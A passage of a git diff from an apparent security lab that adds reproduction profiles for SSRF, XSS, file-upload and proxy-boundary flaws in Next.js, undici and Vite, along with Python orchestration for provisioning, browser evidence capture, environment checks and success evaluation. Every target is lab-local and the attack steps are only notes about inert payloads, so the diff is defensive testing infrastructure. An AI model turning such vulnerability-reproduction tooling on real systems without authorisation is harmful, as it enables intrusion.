node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/nextjs/proxy-boundary/scenario.json + PORT: "3000" + ports: + - 18201:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18201/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/nextjs-ssrf.yaml b/08-threat-intel/repro-profiles/system-family/nextjs-ssrf.yaml new file mode 100644 index 00000000..02cba6d7 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/nextjs-ssrf.yaml @@ -0,0 +1,62 @@ +profile_id: nextjs-ssrf +system_id: nextjs +match_rules: + keywords: + - ssrf + - request forgery +vuln_family: ssrf +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: nextjs.ssrf +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/nextjs/ssrf +required_services: + - app +seed_actions: + - kind: note + message: Seed local callback fixture state. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner validates sink callback without leaving local network. +browser_assertions: + required: false +success_criteria: + - Local sink callback is observed from the server-side fetch path. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success +services: + app: + image: node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/nextjs/ssrf/scenario.json + PORT: "3000" + ports: + - 18203:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18203/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/nextjs-xss.yaml b/08-threat-intel/repro-profiles/system-family/nextjs-xss.yaml new file mode 100644 index 00000000..b8453b1c --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/nextjs-xss.yaml @@ -0,0 +1,64 @@ +profile_id: nextjs-xss +system_id: nextjs +match_rules: + keywords: + - xss + - scripting +vuln_family: xss +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: nextjs.xss +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/nextjs/xss +required_services: + - app +seed_actions: + - kind: note + message: Seed client-rendering page for XSS proof capture. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner injects inert payload and captures browser proof. +browser_assertions: + required: true +success_criteria: + - Browser proof page shows the XSS execution marker after the controlled payload. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success + - name: browser-present + type: browser-present +services: + app: + image: node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/nextjs/xss/scenario.json + PORT: "3000" + ports: + - 18204:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18204/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/undici-ssrf.yaml b/08-threat-intel/repro-profiles/system-family/undici-ssrf.yaml new file mode 100644 index 00000000..0026e0fe --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/undici-ssrf.yaml @@ -0,0 +1,62 @@ +profile_id: undici-ssrf +system_id: undici +match_rules: + keywords: + - ssrf + - request forgery +vuln_family: ssrf +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: undici.ssrf +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/undici/ssrf +required_services: + - app +seed_actions: + - kind: note + message: Seed local sink-only request path. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner validates local callback using undici-style request fixture. +browser_assertions: + required: false +success_criteria: + - SSRF proof endpoint confirms only local sink callbacks were performed. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success +services: + app: + image: node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/undici/ssrf/scenario.json + PORT: "3000" + ports: + - 18301:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18301/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/vite-file-upload.yaml b/08-threat-intel/repro-profiles/system-family/vite-file-upload.yaml new file mode 100644 index 00000000..f9fd1579 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/vite-file-upload.yaml @@ -0,0 +1,64 @@ +profile_id: vite-file-upload +system_id: vite +match_rules: + keywords: + - file upload + - upload +vuln_family: file-upload +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: vite.file-upload +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/vite/file-upload +required_services: + - app +seed_actions: + - kind: note + message: Seed empty upload list for dev-server proof page. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner uploads inert text marker only. +browser_assertions: + required: true +success_criteria: + - Uploaded inert marker is shown on the browser proof page. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success + - name: browser-present + type: browser-present +services: + app: + image: node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/vite/file-upload/scenario.json + PORT: "5173" + ports: + - 18402:5173 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:5173/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18402/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/vite-proxy-boundary.yaml b/08-threat-intel/repro-profiles/system-family/vite-proxy-boundary.yaml new file mode 100644 index 00000000..c4abb136 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/vite-proxy-boundary.yaml @@ -0,0 +1,64 @@ +profile_id: vite-proxy-boundary +system_id: vite +match_rules: + keywords: + - proxy + - middleware +vuln_family: proxy-boundary +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: vite.proxy-boundary +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/vite/proxy-boundary +required_services: + - app +seed_actions: + - kind: note + message: Seed proxy boundary fixture with baseline banner. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner proves forwarded proxy boundary state change locally. +browser_assertions: + required: true +success_criteria: + - Proxy boundary proof banner is visible in the captured browser evidence. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success + - name: browser-present + type: browser-present +services: + app: + image: node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/vite/proxy-boundary/scenario.json + PORT: "5173" + ports: + - 18401:5173 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:5173/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18401/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/vite-xss.yaml b/08-threat-intel/repro-profiles/system-family/vite-xss.yaml new file mode 100644 index 00000000..99083ecb --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/vite-xss.yaml @@ -0,0 +1,64 @@ +profile_id: vite-xss +system_id: vite +match_rules: + keywords: + - xss + - scripting +vuln_family: xss +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: vite.xss +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/vite/xss +required_services: + - app +seed_actions: + - kind: note + message: Seed client render page before XSS proof capture. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner stores inert payload and validates browser proof only locally. +browser_assertions: + required: true +success_criteria: + - Browser proof page shows the controlled XSS marker after attack. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success + - name: browser-present + type: browser-present +services: + app: + image: node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/vite/xss/scenario.json + PORT: "5173" + ports: + - 18403:5173 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:5173/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18403/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/scripts/lab/attack.py b/scripts/lab/attack.py index 8dbdc6c2..9aceed84 100644 --- a/scripts/lab/attack.py +++ b/scripts/lab/attack.py @@ -4,6 +4,7 @@ import subprocess from pathlib import Path from typing import Any, Dict, List +from lab.runners.dispatcher import run_attack as run_runner_attack from lab.utils import write_json @@ -37,6 +38,9 @@ def _render_args(step: Dict[str, Any], profile: Dict[str, Any], advisory: Dict[s def run_attack(profile: Dict[str, Any], advisory: Dict[str, Any], run_dir: Path, dry_run: bool = False) -> Dict[str, Any]: + if profile.get("runner_id") and not dry_run: + return run_runner_attack(profile, advisory, run_dir) + steps: List[Dict[str, Any]] = [] for step in profile.get("attack_actions", []): tool_name = step.get("tool") @@ -60,6 +64,8 @@ def run_attack(profile: Dict[str, Any], advisory: Dict[str, Any], run_dir: Path, "result_path": str(output_path), } ) + elif step.get("kind") == "note" and not dry_run: + record["status"] = "completed" steps.append(record) payload = {"steps": steps} write_json(run_dir / "logs" / "attack.json", payload) diff --git a/scripts/lab/baseline.py b/scripts/lab/baseline.py index 3ba62be3..59e9d658 100644 --- a/scripts/lab/baseline.py +++ b/scripts/lab/baseline.py @@ -10,6 +10,7 @@ from lab.utils import write_json def collect(profile: Dict[str, Any], run_dir: Path, timeout: float = 8.0) -> Dict[str, Any]: observations: List[Dict[str, Any]] = [] + steps: List[Dict[str, Any]] = [] for url in profile.get("baseline_urls", []): try: response = requests.get(url, timeout=timeout, verify=False) @@ -23,6 +24,41 @@ def collect(profile: Dict[str, Any], run_dir: Path, timeout: float = 8.0) -> Dic ) except Exception as exc: observations.append({"url": url, "error": str(exc)}) - payload = {"observations": observations} + base_url = str((profile.get("baseline_urls") or [""])[0]).rstrip("/") + for action in profile.get("baseline_actions", []) or []: + kind = action.get("kind", "note") + if kind == "note": + steps.append({"kind": kind, "status": "recorded", "message": action.get("message", "")}) + continue + try: + if kind == "http-get": + path = action.get("path", "/") + response = requests.get(f"{base_url}{path}", timeout=timeout) + steps.append( + { + "kind": kind, + "status": "completed", + "path": path, + "status_code": response.status_code, + "body_excerpt": response.text[:200], + } + ) + elif kind == "http-post": + path = action.get("path", "/") + response = requests.post(f"{base_url}{path}", json=action.get("json", {}), timeout=timeout) + steps.append( + { + "kind": kind, + "status": "completed", + "path": path, + "status_code": response.status_code, + "body_excerpt": response.text[:200], + } + ) + else: + steps.append({"kind": kind, "status": "skipped", "message": "baseline action type not automated"}) + except Exception as exc: + steps.append({"kind": kind, "status": "failed", "message": str(exc)}) + payload = {"observations": observations, "steps": steps} write_json(run_dir / "logs" / "baseline.json", payload) return payload diff --git a/scripts/lab/browser.py b/scripts/lab/browser.py index e1eb704d..6a8f2df5 100644 --- a/scripts/lab/browser.py +++ b/scripts/lab/browser.py @@ -12,10 +12,12 @@ def capture(url: str, run_dir: Path, prefix: str = "baseline") -> Dict[str, Any] "present": False, "refs": [], "reason": "playwright runtime unavailable", + "error_kind": "import-error", } try: from playwright.sync_api import sync_playwright # type: ignore - except Exception: + except Exception as exc: + payload["reason"] = f"playwright import failed: {exc}" write_json(run_dir / "logs" / f"{prefix}-browser.json", payload) return payload @@ -33,11 +35,29 @@ def capture(url: str, run_dir: Path, prefix: str = "baseline") -> Dict[str, Any] final_url = url try: with sync_playwright() as p: - browser = p.chromium.launch(headless=True) + try: + browser = p.chromium.launch(headless=True) + except Exception as exc: + payload["reason"] = f"chromium launch failed: {exc}" + payload["error_kind"] = "launch-failed" + write_json(run_dir / "logs" / f"{prefix}-browser.json", payload) + return payload page = browser.new_page() page.on("console", lambda msg: console_messages.append({"type": msg.type, "text": msg.text})) page.on("request", lambda req: requests_seen.append({"method": req.method, "url": req.url})) - page.goto(url, wait_until="networkidle", timeout=20000) + response = page.goto(url, wait_until="networkidle", timeout=20000) + if response is None: + payload["reason"] = "page navigation returned no response" + payload["error_kind"] = "navigation-failed" + browser.close() + write_json(run_dir / "logs" / f"{prefix}-browser.json", payload) + return payload + if response.status >= 500: + payload["reason"] = f"page returned {response.status}" + payload["error_kind"] = "target-5xx" + browser.close() + write_json(run_dir / "logs" / f"{prefix}-browser.json", payload) + return payload page.screenshot(path=str(screenshot_path), full_page=True) dom_path.write_text(page.content(), encoding="utf-8") final_url = page.url @@ -46,6 +66,7 @@ def capture(url: str, run_dir: Path, prefix: str = "baseline") -> Dict[str, Any] browser.close() except Exception as exc: payload["reason"] = str(exc) + payload["error_kind"] = "target-timeout" if "Timeout" in str(exc) else "navigation-failed" write_json(run_dir / "logs" / f"{prefix}-browser.json", payload) return payload write_json(console_path, console_messages) @@ -63,6 +84,7 @@ def capture(url: str, run_dir: Path, prefix: str = "baseline") -> Dict[str, Any] "present": True, "page_title": page_title, "page_url": final_url, + "error_kind": None, "refs": [str(screenshot_path), str(dom_path), str(console_path), str(network_path), str(page_path)], } write_json(run_dir / "logs" / f"{prefix}-browser.json", payload) diff --git a/scripts/lab/compose.py b/scripts/lab/compose.py index 6d64d808..94032484 100644 --- a/scripts/lab/compose.py +++ b/scripts/lab/compose.py @@ -11,11 +11,22 @@ def compose_payload(profile: Dict[str, Any]) -> Dict[str, Any]: for service_name, service in profile.get("services", {}).items(): payload = { "image": service["image"], + "networks": ["labnet"], } if service.get("ports"): payload["ports"] = service["ports"] if service.get("environment"): payload["environment"] = service["environment"] + if service.get("command"): + payload["command"] = service["command"] + if service.get("working_dir"): + payload["working_dir"] = service["working_dir"] + if service.get("volumes"): + payload["volumes"] = service["volumes"] + if service.get("healthcheck"): + payload["healthcheck"] = service["healthcheck"] + if service.get("build"): + payload["build"] = service["build"] if service.get("depends_on"): payload["depends_on"] = service["depends_on"] services[service_name] = payload diff --git a/scripts/lab/doctor.py b/scripts/lab/doctor.py new file mode 100644 index 00000000..17a851f7 --- /dev/null +++ b/scripts/lab/doctor.py @@ -0,0 +1,131 @@ +from __future__ import annotations + +import socket +from contextlib import closing +from typing import Any, Dict, Iterable, List, Tuple + +from lab.utils import command_available, run + + +def _result(name: str, ok: bool, detail: str, **extra: Any) -> Dict[str, Any]: + payload = {"name": name, "ok": ok, "detail": detail} + payload.update(extra) + return payload + + +def _parse_host_ports(profiles: Iterable[Dict[str, Any]]) -> List[Dict[str, Any]]: + ports: List[Dict[str, Any]] = [] + for profile in profiles: + for service_name, service in (profile.get("services") or {}).items(): + for binding in service.get("ports", []) or []: + host_port = None + value = str(binding) + parts = value.split(":") + if len(parts) == 3 and parts[1].isdigit(): + host_port = int(parts[1]) + elif len(parts) >= 2 and parts[0].isdigit(): + host_port = int(parts[0]) + elif value.isdigit(): + host_port = int(value) + if host_port is None: + continue + ports.append( + { + "profile_id": profile.get("profile_id"), + "service": service_name, + "binding": value, + "port": host_port, + } + ) + return ports + + +def _port_available(port: int) -> bool: + with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + sock.bind(("127.0.0.1", port)) + except OSError: + return False + return True + + +def _check_docker_cli() -> Dict[str, Any]: + ok = command_available("docker") + return _result("docker-cli", ok, "docker CLI available" if ok else "docker CLI is not installed") + + +def _check_docker_daemon() -> Dict[str, Any]: + if not command_available("docker"): + return _result("docker-daemon", False, "docker CLI unavailable") + context = run(["docker", "context", "show"], check=False) + info = run(["docker", "info"], check=False) + detail = f"context={context.stdout.strip() or 'unknown'}" + if info.returncode != 0: + detail = info.stderr.strip() or info.stdout.strip() or "docker daemon unavailable" + return _result("docker-daemon", False, detail) + return _result("docker-daemon", True, detail or "docker daemon reachable") + + +def _check_playwright_import() -> Dict[str, Any]: + try: + from playwright.sync_api import sync_playwright # noqa: F401 + except Exception as exc: + return _result("playwright-import", False, f"playwright import failed: {exc}") + return _result("playwright-import", True, "playwright Python package import passed") + + +def _check_chromium_launch() -> Dict[str, Any]: + try: + from playwright.sync_api import sync_playwright + except Exception as exc: + return _result("playwright-browser", False, f"playwright import failed: {exc}") + try: + with sync_playwright() as playwright: + browser = playwright.chromium.launch(headless=True) + page = browser.new_page() + page.set_content("ok") + browser.close() + except Exception as exc: + return _result("playwright-browser", False, f"chromium launch failed: {exc}") + return _result("playwright-browser", True, "chromium runtime launch passed") + + +def _check_ports(profiles: Iterable[Dict[str, Any]]) -> Dict[str, Any]: + requested = _parse_host_ports(profiles) + if not requested: + return _result("ports", True, "no host ports declared") + + conflicts: List[Dict[str, Any]] = [] + for item in requested: + if not _port_available(item["port"]): + conflicts.append(item) + + if conflicts: + detail = ", ".join( + f"{item['port']}({item['profile_id']}::{item['service']})" for item in conflicts + ) + return _result("ports", False, f"host ports already in use: {detail}", conflicts=conflicts) + return _result("ports", True, f"checked {len(requested)} host port bindings", bindings=requested) + + +def run_checks(profiles: Iterable[Dict[str, Any]] | None = None) -> Dict[str, Any]: + selected = list(profiles or []) + checks = [ + _check_docker_cli(), + _check_docker_daemon(), + _check_playwright_import(), + _check_chromium_launch(), + _check_ports(selected), + ] + ok = all(item["ok"] for item in checks) + failures = [item for item in checks if not item["ok"]] + return { + "status": "passed" if ok else "failed", + "ok": ok, + "checks": checks, + "profile_ids": [item.get("profile_id") for item in selected if item.get("profile_id")], + "failure_count": len(failures), + "summary": "; ".join(item["detail"] for item in failures) if failures else "all checks passed", + } + diff --git a/scripts/lab/evaluate.py b/scripts/lab/evaluate.py new file mode 100644 index 00000000..ce890e18 --- /dev/null +++ b/scripts/lab/evaluate.py @@ -0,0 +1,100 @@ +from __future__ import annotations + +from typing import Any, Dict, List + + +def _assertion(name: str, kind: str, passed: bool, detail: str) -> Dict[str, Any]: + return { + "name": name, + "kind": kind, + "passed": passed, + "detail": detail, + } + + +def _baseline_ok(payload: Dict[str, Any]) -> bool: + observations = payload.get("observations", []) or [] + if not observations: + return False + for item in observations: + if item.get("error"): + return False + status_code = item.get("status_code") + if status_code is None or int(status_code) >= 500: + return False + return True + + +def _attack_steps_ok(payload: Dict[str, Any]) -> bool: + steps = payload.get("steps", []) or [] + if payload.get("success") is True: + return True + if not steps: + return False + return not any(step.get("status") == "failed" for step in steps) + + +def evaluate_run( + profile: Dict[str, Any], + provision_result: Dict[str, Any], + baseline_payload: Dict[str, Any], + attack_payload: Dict[str, Any], + browser_payload: Dict[str, Any], +) -> Dict[str, Any]: + assertions: List[Dict[str, Any]] = [] + configured = profile.get("success_assertions", []) or [] + browser_required = bool(profile.get("browser_assertions", {}).get("required")) + if not configured: + configured = [ + {"name": "baseline-ok", "type": "baseline-ok"}, + {"name": "attack-steps", "type": "attack-steps-ok"}, + ] + if browser_required: + configured.append({"name": "browser-present", "type": "browser-present"}) + + for item in configured: + assertion_type = item.get("type", "") + name = item.get("name") or assertion_type or "assertion" + if assertion_type == "runner-success": + passed = bool(attack_payload.get("success")) + detail = attack_payload.get("detail") or ("runner reported success" if passed else "runner did not confirm success") + elif assertion_type == "baseline-ok": + passed = _baseline_ok(baseline_payload) + detail = "baseline URLs responded without 5xx or transport errors" if passed else "baseline checks were incomplete" + elif assertion_type == "attack-steps-ok": + passed = _attack_steps_ok(attack_payload) + detail = "attack steps completed without failures" if passed else "attack steps failed or produced no usable result" + elif assertion_type == "browser-present": + passed = bool(browser_payload.get("present")) + detail = "browser evidence captured" if passed else (browser_payload.get("reason") or "browser evidence missing") + else: + passed = False + detail = f"unsupported assertion type: {assertion_type}" + assertions.append(_assertion(name, assertion_type, passed, detail)) + + blocked_reason = provision_result.get("blocked_reason") + if browser_required and not browser_payload.get("present"): + blocked_reason = blocked_reason or browser_payload.get("reason") or "browser evidence incomplete" + + passed = all(item["passed"] for item in assertions) + artifact_mode = profile.get("artifact_mode", profile.get("provisioning_mode", "synthetic")) + verification_status = "triage-manual" + if provision_result.get("status") == "blocked-artifact": + verification_status = "blocked-artifact" + elif not passed: + verification_status = "triage-manual" + failed = next((item for item in assertions if not item["passed"]), None) + if failed and not blocked_reason: + blocked_reason = failed["detail"] + elif artifact_mode == "synthetic": + verification_status = "verified-synthetic" + else: + verification_status = "verified-real" + + return { + "passed": passed and verification_status.startswith("verified-"), + "verification_status": verification_status, + "blocked_reason": blocked_reason, + "assertions": assertions, + } + diff --git a/scripts/lab/main.py b/scripts/lab/main.py index 2fd99c3d..822447a3 100644 --- a/scripts/lab/main.py +++ b/scripts/lab/main.py @@ -11,7 +11,7 @@ SCRIPTS_DIR = CURRENT_DIR.parent if str(SCRIPTS_DIR) not in sys.path: sys.path.insert(0, str(SCRIPTS_DIR)) -from lab import attack, baseline, browser, catalog, evidence, provision, render, repro, seed, task_queue, validators # noqa: E402 +from lab import attack, baseline, browser, catalog, doctor, evaluate, evidence, provision, render, repro, seed, task_queue, validators # noqa: E402 from lab.config import ADVISORIES_DIR, CASE_RUNS_DIR, ENV_PROFILES_DIR, RUNS_DIR # noqa: E402 from lab.utils import command_available, ensure_dir, isoformat, load_json_dir, now_utc, read_json, read_yaml, write_json # noqa: E402 @@ -99,6 +99,7 @@ def _build_run_bundle( compose_refs: List[str], browser_evidence: Dict[str, Any], timeline: List[Dict[str, Any]], + success_evaluation: Dict[str, Any], started_at: str, finished_at: str, blocked_reason: str | None, @@ -121,6 +122,9 @@ def _build_run_bundle( "request_log_refs": request_log_refs, "compose_refs": compose_refs, "timeline": timeline, + "success_evaluation": success_evaluation, + "historical_status": verification_status, + "latest_status": verification_status, "started_at": started_at, "finished_at": finished_at, "blocked_reason": blocked_reason, @@ -141,6 +145,9 @@ def _dry_run_case_plan(advisory: Dict[str, Any], profile: Dict[str, Any], run_id "compose_services": sorted(profile.get("services", {}).keys()), "seed_actions": profile.get("seed_actions", []), "attack_actions": profile.get("attack_actions", []), + "runner_id": profile.get("runner_id"), + "fixture_path": profile.get("fixture_path"), + "success_assertions": profile.get("success_assertions", []), "compose_preview": provision_result.get("compose_preview", {}), "note": "dry-run only; no bundle, report, compose file, or registry update was written", } @@ -159,7 +166,23 @@ def _execute_case(canonical_id: str, run_id: str | None = None, dry_run: bool = _timeline_event(timeline, "resolve-repro-profile", "completed", profile["profile_id"]) run_dir = _run_dir(resolved_run_id) - provision_result = provision.prepare(profile, run_dir, dry_run=False) + doctor_result = doctor.run_checks([profile]) + write_json(run_dir / "logs" / "doctor.json", doctor_result) + _timeline_event( + timeline, + "doctor", + "completed" if doctor_result.get("ok") else "failed", + doctor_result.get("summary", ""), + ) + + if doctor_result.get("ok"): + provision_result = provision.prepare(profile, run_dir, dry_run=False) + else: + provision_result = { + "compose_path": str(run_dir / "compose" / "compose.yaml"), + "status": "blocked-artifact", + "blocked_reason": doctor_result.get("summary", "doctor failed"), + } _timeline_event( timeline, "provision-compose-environment", @@ -168,11 +191,39 @@ def _execute_case(canonical_id: str, run_id: str | None = None, dry_run: bool = ) allow_runtime_steps = provision_result.get("status") not in {"blocked-artifact"} browser_required = bool(profile.get("browser_assertions", {}).get("required")) + compose_path = Path(provision_result.get("compose_path", run_dir / "compose" / "compose.yaml")) + + ready_payload = {"status": "skipped", "detail": "provisioning blocked", "observations": []} + if allow_runtime_steps: + ready_payload = provision.wait_ready(profile, run_dir, compose_path) + allow_runtime_steps = ready_payload.get("status") == "completed" + _timeline_event(timeline, "wait-ready", ready_payload.get("status", "unknown"), ready_payload.get("detail", "")) + else: + _timeline_event(timeline, "wait-ready", "skipped", "provisioning blocked") + + seed_payload = {"steps": [], "seeded": False} + if allow_runtime_steps: + seed_payload = seed.run_seed(profile, advisory, run_dir, dry_run=False) + seed_failed = any(step.get("status") == "failed" for step in seed_payload.get("steps", [])) + _timeline_event( + timeline, + "seed-environment", + "failed" if seed_failed else "completed", + f"steps={len(seed_payload.get('steps', []))}", + ) + else: + _timeline_event(timeline, "seed-environment", "skipped", "runtime steps unavailable") baseline_payload = {"observations": []} if profile.get("baseline_urls") and allow_runtime_steps: baseline_payload = baseline.collect(profile, run_dir) - _timeline_event(timeline, "baseline-snapshot", "completed", f"urls={len(profile.get('baseline_urls', []))}") + baseline_failed = any(item.get("error") for item in baseline_payload.get("observations", [])) + _timeline_event( + timeline, + "baseline-snapshot", + "failed" if baseline_failed else "completed", + f"urls={len(profile.get('baseline_urls', []))}", + ) else: _timeline_event(timeline, "baseline-snapshot", "skipped", "no baseline urls or provisioning blocked") @@ -213,7 +264,6 @@ def _execute_case(canonical_id: str, run_id: str | None = None, dry_run: bool = elif browser_required: _timeline_event(timeline, "browser-replay-after-attack", "skipped", "proof browser capture unavailable") - compose_path = Path(provision_result["compose_path"]) container_logs = evidence.collect_container_logs(run_dir, compose_path) if compose_path.exists() and allow_runtime_steps else [] _timeline_event( timeline, @@ -231,25 +281,31 @@ def _execute_case(canonical_id: str, run_id: str | None = None, dry_run: bool = "proof_refs": proof_browser.get("refs", []), "baseline_title": baseline_browser.get("page_title"), "proof_title": proof_browser.get("page_title"), + "error_kind": proof_browser.get("error_kind") or baseline_browser.get("error_kind"), + "reason": proof_browser.get("reason") or baseline_browser.get("reason"), } - blocked_reason = provision_result.get("blocked_reason") - if browser_required and not browser_present: - blocked_reason = blocked_reason or baseline_browser.get("reason") or proof_browser.get("reason") or "browser evidence incomplete" - verification_mode = profile.get("verification_mode", "synthetic") artifact_mode = profile.get("artifact_mode", profile.get("provisioning_mode", "synthetic")) - verification_status = "triage-manual" - if provision_result.get("status") == "blocked-artifact": - verification_status = "blocked-artifact" - elif browser_required and not browser_present: - verification_status = "triage-manual" - elif any(step.get("status") == "failed" for step in attack_payload.get("steps", [])): - verification_status = "triage-manual" - elif artifact_mode == "synthetic": - verification_status = "verified-synthetic" - else: - verification_status = "verified-real" + success_evaluation = evaluate.evaluate_run( + profile=profile, + provision_result=provision_result, + baseline_payload=baseline_payload, + attack_payload=attack_payload, + browser_payload=browser_payload, + ) + verification_status = success_evaluation["verification_status"] + blocked_reason = success_evaluation.get("blocked_reason") + + cleanup_payload = {"status": "skipped", "detail": "cleanup_policy not destroy"} + if compose_path.exists() and profile.get("cleanup_policy") == "destroy": + cleanup_payload = provision.teardown(run_dir, compose_path) + _timeline_event( + timeline, + "cleanup-compose-environment", + cleanup_payload.get("status", "unknown"), + cleanup_payload.get("detail", ""), + ) finished_at = isoformat(now_utc()) bundle = _build_run_bundle( @@ -267,6 +323,7 @@ def _execute_case(canonical_id: str, run_id: str | None = None, dry_run: bool = compose_refs=[str(compose_path)] if compose_path.exists() else [], browser_evidence=browser_payload, timeline=timeline, + success_evaluation=success_evaluation, started_at=started_at, finished_at=finished_at, blocked_reason=blocked_reason, @@ -311,7 +368,8 @@ def cmd_provision(args) -> int: def cmd_seed(args) -> int: advisory = _load_advisory(args.case) profile = _resolve_profile(advisory) - print({"steps": seed.run_seed(profile)}) + run_dir = _run_dir(args.run_id or _compose_run_id(advisory)) + print(seed.run_seed(profile, advisory, run_dir, dry_run=args.dry_run)) return 0 @@ -355,7 +413,8 @@ def cmd_run_case(args) -> int: def cmd_run_system(args) -> int: advisories = [item for item in load_json_dir(ADVISORIES_DIR) if item.get("system_id") == args.system] - selected = advisories[: args.limit] + advisories = sorted(advisories, key=lambda item: item.get("canonical_id", "")) + selected = advisories if not args.limit or args.limit <= 0 else advisories[: args.limit] for advisory in selected: _execute_case(advisory["canonical_id"], run_id=None, dry_run=args.dry_run, sync_outputs=False) if selected and not args.dry_run: @@ -442,6 +501,20 @@ def cmd_validate(args) -> int: return 0 +def cmd_doctor(args) -> int: + profiles: List[Dict[str, Any]] = [] + if getattr(args, "case", None): + advisory = _load_advisory(args.case) + 